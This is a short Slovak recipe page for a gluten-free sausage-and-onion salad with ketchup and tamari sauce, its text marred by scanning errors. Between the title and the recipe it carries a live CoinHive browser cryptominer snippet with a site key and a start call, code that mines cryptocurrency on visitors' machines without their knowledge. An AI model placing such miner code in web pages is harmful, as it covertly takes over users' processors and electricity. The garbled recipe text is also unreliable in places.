Parkovy salat

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU

D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();
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Potrebujeme: 1 kg tenkych bezlepkovych parkov pokrajanych na tenko, 5-6 cibul pokrajanych
na tenko, 1cely bezlepkovy keCup (odhad), 1 ML Cierneho mletého korenia, 1 ML praskového
cukru, Tamari omacka, 2 PL oleja, 1PL octu, 2-3 PL vody

Postup: Ingrediencie premieSame, Tamari omacku dame podla chute. Ked je omacka hotova,
premiesame ju spolu s pokrajanou cibufou a parkami, méZzeme potom este dochutit. Uzavrieme
v nadobe a odlozime do chladni¢ky do druhého dna.




